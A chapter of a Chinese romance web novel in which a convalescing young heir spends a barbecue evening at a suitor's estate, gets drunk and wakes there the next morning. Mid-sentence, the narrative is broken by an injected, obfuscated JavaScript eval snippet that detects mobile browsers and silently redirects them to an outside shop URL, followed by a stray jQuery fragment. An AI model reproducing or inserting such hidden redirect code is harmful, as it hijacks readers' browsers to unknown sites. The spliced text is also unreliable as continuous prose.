回到家,王叔已经做了一桌好吃的等着他,见他脸色惨白惨白的,止不住地心疼。
纪今远扫了一圈,发现小柯不见了,顺嘴一问:“小柯呢?”
王叔:“昨天被大小姐叫回去了,别的我就不清楚了。”
纪今远点点头,他姐做事有她的道理,他不会多问。随便对付了几口,纪今远就上了二楼。
昏睡到中午。
纪今远被一阵敲门声唤醒,伴随着保姆的声音:“少爷,该喝药了。”
开了一周的量,现在只喝了一半,太苦了,他真不想喝。
纪今远提高声量:“放楼下,我一会儿下去喝。”
纪今远又倒下了。手机震动了几下都没给他震醒。
再次苏醒是一小时后,他缓缓撑起上半身,揉了揉疑似落枕的脖子,叹了口气。
他摸过手机,划开,先点开跟季清弦的聊天框,慰问人好点没有。然后才去点开跟季璟易那个三条未读的聊天框。
季璟易九点过的时候给他发了一句:【到医院了。】
十一点的时候问他:【现在能见面吗?】
十二点的时候又问:【醒了吗?】
现在是14:25。
纪今远敲下几个字:【醒了。】
对面立刻回:【能让你保镖开门吗?】
发了一张他家门口的图片。
除了小柯,其余三个保镖跟几座山一样围着季璟易的车,跟押解重要犯罪人员一样。
纪今远看着那张图,沉默良久。
找出他另一部手机,拨过去:“放他进来。”
纪今远换上衣服下楼时,季璟易已经端坐在他家楼下了。
季璟易坐在沙发上,眼神复杂地盯着他面前茶几上那碗黑黢黢的药。
纪今远毫无察觉地坐在沙发另一端,打了个哈欠,“季总怎么不请自来?”
“你不回消息,担心你。”没等纪今远接话,他看着那碗已经凉透了的药,又问:“怎么不按时喝药?”
“忙忘了。”
半真半假吧。
季璟易皱了皱眉,抬起来凑近鼻尖,凉透了的中药闻不出什么味,他怀疑这小少爷是因为怕苦才不肯喝。
“是不是还没吃饭?”
季璟易放下中药,垂眸瞥了一眼小少爷的小腹。
纪今远点头,自己答应的事,总不能临时毁约,比起不清不楚去看电影,一起吃顿饭倒是个不错的选择。
见人点头,季璟易问:“想吃什么?”
纪今远最近吃的太寡淡,嘴里老觉得没味儿,于是想了想,说:“烧烤,可以吗?”
两人出门坐上季璟易的车,闭口不提昨日的事。
季璟易是不敢,纪今远是懒得理。
眼见窗外景色越来越偏僻,纪今远忍不住问:“这是要去哪?”
“季总您不会心怀不满,准备把我拉去野外解决了吧?”
季璟易听见这不着边际的揣测,轻笑出声,一只手握稳方向盘,另一只手伸过去揉了揉小少爷软乎乎的头发,“想什么呢,这是去我家。”
纪今远被揉脑袋,整个人都僵住了,瞪大眼睛怒视季璟易,自从上初中以后,就没人敢再动他的脑袋,这人怎么敢的!
见季璟易还不放手,纪今远猛地向后一仰,季璟易的手落了空。
车速越来越快,窗外的景色好像也越来越熟悉,纪今远降下了车窗,想伸出头去看,没等他实施,就被人摁住了。
季璟易勾住他的衣领将人拉回来,操控着关上车窗,锁住之后才开口。
话里有训诫之意:“不要做这种危险的动作。”
纪今远撇撇嘴,没说话。
看着飞速掠过的树木、街景,纪今远有点想起来了,这是季璟易的庄园,上次看白虎那地。
两人抵达庄园时,佣人已经把食材、调料等准备好了。
纪今远下车,跟着人走到后院,看着这空荡荡的草坪,有些不确定问:“就我们俩人吗?”
“你还想请谁吃?”
季璟易将炭放进烤箱,醋都不用开封了,他嘴里就有现成的。
纪今远没听出他口中的酸味,只觉得这人说话语气重了些,摆摆手,“不是,我想问你养的那东西不会突然冲过来吧?”
纪今远想了想那场面,打了个颤。
季璟易摆弄炭火的手顿了一秒,跟人解释道:“小白平常不在这里,那天是因为你来了,所以才放它出来。”
从他嘴里听到那跟物种极为不符的名字,纪今远笑了笑,上前戳戳戴上围裙的季璟易,“为什么取这个名字?”
明明这么霸气,取得这么小气。
季璟易攥住纪今远不安分的手,揽着人走到烟熏不到的地方,将人摁在躺椅上,“坐这儿,别乱跑,那边烟重。”
纪今远不要,他也想自己烤,眼神直勾勾地盯着季璟易,态度尽在不言中。
季璟易拿他没办法,只好拿出护目镜和防烟口罩给他戴上。
被迫戴上的纪今远惊讶极了:“你怎么什么都有?”
“专门给你准备的。”
知道这小少爷的真实性子后不得不备着。
纪今远“哦”了一声。
看着季璟易戴着围裙,透过微微透明的衬衫能看到宽厚的肩膀,看着他摆弄食材那熟练的动作,修长的指节稳稳握着菜刀……
好一幅美景,纪今远恨自己出门没带相机,不受控制地咽了咽口水。
正欣赏着型男,脚边突然一重,纪今远有种熟悉的感觉,果然,他低头一看,正是那银渐层小猫——霸天。
纪今远弯下腰将猫儿捞起来放在臂弯里,重复他没得到答案的问题:“说呀,怎么会取这么个名字?”
“没有为什么,”季璟易娴熟地给烤串翻面,“看见它就觉得应该取这个名字。”
好吧。
可能上了年纪的人脑回路都有点不同。
纪今远抱着猫儿上前几步,站在烟熏不了的位置,闻着不断发出来的香味,咽口水,“你怎么这么会?经常给别人烤吗?”
“留学时看他们烤,就学会了。”
“只给你烤过。”
“哦。”
纪今远想看清楚他的动作,又凑上前些,脸都快贴上季璟易的胳膊。
“我想吃那个,”纪今远腾出一只手指了指串好的一众肉串,“那个,牛肉串。”
-
吃了个饱的纪今远靠在专门给他准备的躺椅上,霸天窝在他的腿间,他悄悄从椅子底下掏出一瓶酒,偷偷喝了一口。
他刚才喝了三瓶,被季璟易发现后就不让他喝了。
“喝药不许喝酒。”
季璟易当时这么说了一句。
纪今远有些炸毛,不喜欢被管,顶了他一句:“我最近没喝药!”
还挺自豪。
季璟易说一不二,让人把酒全收走,可还是留了一瓶漏网之鱼。
纪今远余光偷瞄着正在烤肉的季璟易,伸出舌尖舔了舔杯口,正当
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834664|211387||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他准备转身一饮而尽时,手中突然一空。
正在烤肉的季璟易瞬移到了他这儿,还抢走了他的酒……纪今远莫名感觉好委屈,大眼睛蓄起了泪,也不说话,就这么可怜巴巴地盯着季璟易。
跟发//情那天有的一拼。
对视良久,最终还是季璟易败下了阵,他轻叹口气,妥协道:“只能一口。”
纪今远乖乖地点头。
他想他应该是醉了,不然怎么会这么听话。
醉鬼不会知道自己醉没醉,只知道自己醒来后头很痛。
纪今远看着满屋子陌生摆设,敲了敲脑袋,他怎么会睡着?他只记得当时喝完酒他就躺在椅子上数星星,怎么数着数着真睡着了?
不过头是真痛,他伸手摸了摸手机是否在身上,没摸着,这时才看清自己身上穿着的衣服是昨天那套,揪起衣领还能闻到酒味和烧烤味。
纪今远干呕一声,跑进卫生间洗了把脸,随后推开房间门喊了一声:“季总?”
没人应。
他也不知道自己是在第几层,不敢轻易走出去,这地方他上次来过,就跟迷宫一样,他怕自己找不到人还把自己丢了。
好在几秒后空荡的走廊里传来了脚步声。
纪今远靠在门框上翘首以盼,来人是位beta男性,穿着制服,递给他一个袋子,恭敬地说:“季总在健身房,您可以先换衣服。”
纪今远点头,问了句现在是几点,有没有看见他的手机。
beta摇摇头,说:“现在是早上七点,抱歉,您的手机我没看到。”
没得到答案,纪今远只好先洗澡换衣服,自己再站下去可以原地化身成生化武器了。
也不知道季璟易昨晚为什么不叫醒他,他昨天答应一块儿吃饭,但是没想到会在外面过夜,所以没带保镖一起出门……
他在外过夜没告诉王叔,怕王叔太过担心把电话打到他姐那儿。
纪今远心事重重地搓完澡,穿上浴袍站在镜子前才发现自己颈部不知道什么时候多了一块红痕。
没洗澡之前有吗?他记不清了。
可能是洗澡的时候搓的吧。
纪今远擦着头发走出浴室,看到房间里凭空多出个人后脚下步伐一顿。
“你看见我手机了吗?”
纪今远继续擦着头发,走过去坐在床上,跟季璟易隔了将近5米的距离,坐下时,未干的身体部位洇湿了床单。
季璟易扫了扫被洇湿的那处和纪今远不加掩盖的小腿肌肤,默默移开了目光。
“给你充了电。”
他将手机递过去,解释说。
纪今远接过看了一眼时间,道了声谢。
他又问:“你昨晚怎么不叫醒我?”
“叫了,没叫醒。”
是真的叫了,只是纪今远昨日喝酒了,迷迷糊糊的,根本听不懂他在说什么。
纪今远不太明显地送了耸肩,“好吧。”
季璟易目光不太自然地瞥了一眼纪今远颈部的那抹红痕,感觉莫名燥热,那是昨夜不小心蹭到的。
当时纪今远闹着难受,要脱衣服洗澡,季璟易权衡之下打算亲自动手伺候他,可衣服刚脱了一半,纪今远就不干了,又闹着说冷。
就这么来来回回五六下,纪今远最后累着了,不脱了也不洗澡了,只不过敏感的肌肤留下了被衣物磨蹭的红痕。
季璟易想着当时那场面,忍不住笑出了声。
纪今远莫名其妙地看他,“季总,您这是干什么?”